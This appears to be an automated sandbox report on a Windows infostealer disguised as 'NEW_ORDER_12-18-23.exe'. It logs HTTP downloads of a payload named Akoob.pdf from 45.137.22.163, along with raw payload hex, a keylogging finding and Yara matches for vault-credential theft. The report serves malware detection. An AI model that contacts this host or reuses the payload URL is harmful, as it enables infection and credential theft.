00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 0
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:19 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 0
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:25 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 0

Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 45.137.22.163 45.137.22.163
Source: Joe Sandbox View	IP Address: 45.137.22.163 45.137.22.163

Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163
Source: unknown	TCP traffic detected without corresponding DNS query: 45.137.22.163

Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akoob.pdf HTTP/1.1Host: 45.137.22.163Connection: Keep-Alive

Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.163
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.163/Akoob.pdf
Source: spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.163/Akoob.pdf(Q
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.137.22.163/Akoob.pdf(Qu
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00001000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249C21000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BB82000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C701000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0AADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C64D000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1901609525.0000022249D49000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: spof.exe, 00000019.00000002.1965677845.0000012B0A8E6000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp, NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BA4F000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 0000000B.00000002.1903558795.000002225BAC8000.00000004.00000800.00020000.00000000.sdmp, spof.exe, 00000019.00000002.1968348865.0000012B1C658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, xNJ.cs

.Net Code: yFqFQk

System Summary

Malicious sample detected (through community Yara rule)

Source: 25.2.spof.exe.12b1c7123e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 25.2.spof.exe.12b1c7123e8.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.spof.exe.2225bb97db0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.spof.exe.2225bb97db0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.spof.exe.22249e11790.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 11.2.spof.exe.22249e4e2b8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: NEW_ORDER_12-18-23.exe

Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B870830	0_2_00007FFD9B870830
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B871BB9	0_2_00007FFD9B871BB9
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B871078	0_2_00007FFD9B871078
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B8718BD	0_2_00007FFD9B8718BD
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B871BE4	0_2_00007FFD9B871BE4
Source: C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe	Code function: 0_2_00007FFD9B87190C	0_2_00007FFD9B87190C
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 11_2_00007FFD9BAB1058	11_2_00007FFD9BAB1058
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 11_2_00007FFD9BAB0830	11_2_00007FFD9BAB0830
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 11_2_00007FFD9BAB18BD	11_2_00007FFD9BAB18BD
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 11_2_00007FFD9BB92944	11_2_00007FFD9BB92944
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 25_2_00007FFD9BAA1058	25_2_00007FFD9BAA1058
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 25_2_00007FFD9BAA0830	25_2_00007FFD9BAA0830
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 25_2_00007FFD9BAA18B0	25_2_00007FFD9BAA18B0
Source: C:\Users\user\AppData\Roaming\spof.exe	Code function: 25_2_00007FFD9BB82944	25_2_00007FFD9BB82944

Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753130875.0000024A7BA90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAhtdg.dll" vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11F66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename62b3f2ca-2b8c-4dc5-b1d7-ef711ea74cbf.exe4 vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1753819644.0000024A7C890000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000000.1701000250.0000024A79F02000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamejojo.exe" vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A0034F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename62b3f2ca-2b8c-4dc5-b1d7-ef711ea74cbf.exe4 vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1749827601.0000024A00158000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A11EAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe, 00000000.00000002.1750794274.0000024A100F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAhtdg.dll" vs NEW_ORDER_12-18-23.exe
Source: NEW_ORDER_12-18-23.exe	Binary or memory string: OriginalFilenamejojo.exe" vs NEW_ORDER_12-18-23.exe

Source: 25.2.spof.exe.12b1c7123e8.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW_ORDER_12-18-23.exe.24a11f7b1d0.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
